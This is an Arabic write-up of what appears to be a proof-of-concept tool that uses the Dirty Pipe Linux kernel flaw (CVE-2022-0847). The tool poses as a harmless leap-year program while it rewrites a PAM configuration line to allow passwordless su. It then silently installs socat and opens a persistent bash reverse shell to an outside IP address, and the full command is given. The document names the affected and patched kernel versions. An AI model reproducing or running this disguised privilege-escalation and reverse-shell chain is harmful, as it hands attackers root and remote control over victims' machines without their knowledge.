
استخدام CVE-2022-0847، "Dirty Pipe Exploit"، لفتح شل عكسي باش لتنفيذ تعليمات برمجية عشوائية على جهاز خارجي.
هذا هو إثبات مفهوم يوضح كيفية فتح قشرة باش عكسية لتنفيذ تعليمات برمجية عشوائية على جهاز أجنبي باستخدام CVE-2022-0847، "استغلال الأنبوب القذر". تؤثر هذه الثغرة فقط على إصدارات نواة لينكس 5.8 أو أحدث، ولكن تم تصحيحها في الإصدارات 5.16.11 و5.15.25 و5.10.102 وما فوق. قم بتحديث نواتك :)
تم اكتشاف هذا الاستغلال من قبل باحث الأمن ماكس كيلمان. لن أخوض في تفاصيل هذا الاستغلال لأنه يفعل ذلك بشكل أفضل مما أستطيع في مقالته هنا: https://dirtypipe.cm4all.com/
يبدو هذا الإثبات كمفهوم بسيط لبرنامج سنة كبيسة يخبرك ما إذا كانت السنة المعطاة سنة كبيسة أم لا.
في الخلفية، أقوم بتغيير سطر في /etc/pam.d/
أغير السطر auth sufficient pam_rootok.so إلى auth sufficient pam_permit.so هذا التغيير يسمح لنا بتشغيل الأوامر كمستخدم فائق دون إدخال كلمة مرور.
بعد ذلك، يمكننا ببساطة استخدام دالة system() في C لتنفيذ الأوامر كـ su.
أقوم بتشغيل:
su -c \"apt-get -y install socat\" > /dev/null; socat TCP4:172.23.46.133:4444 EXEC:/bin/bash & exit
يقوم هذا السطر بتثبيت socat على النظام وتوجيه المخرجات إلى ملف فارغ حتى لا يرى المستخدم مخرجات التحميل. بعد ذلك، أقوم بتنفيذ أمر socat للاتصال بجهاز أجنبي بعنوان IP ومنفذ محددين.
الرمز & يضع هذه العملية في الخلفية بحيث بعد أن يغلق المستخدم الطرفية تظل الاتصال قائماً.
تنفيذ البرنامج على جهاز ضعيف:

الاتصال بالجهاز الضعيف:
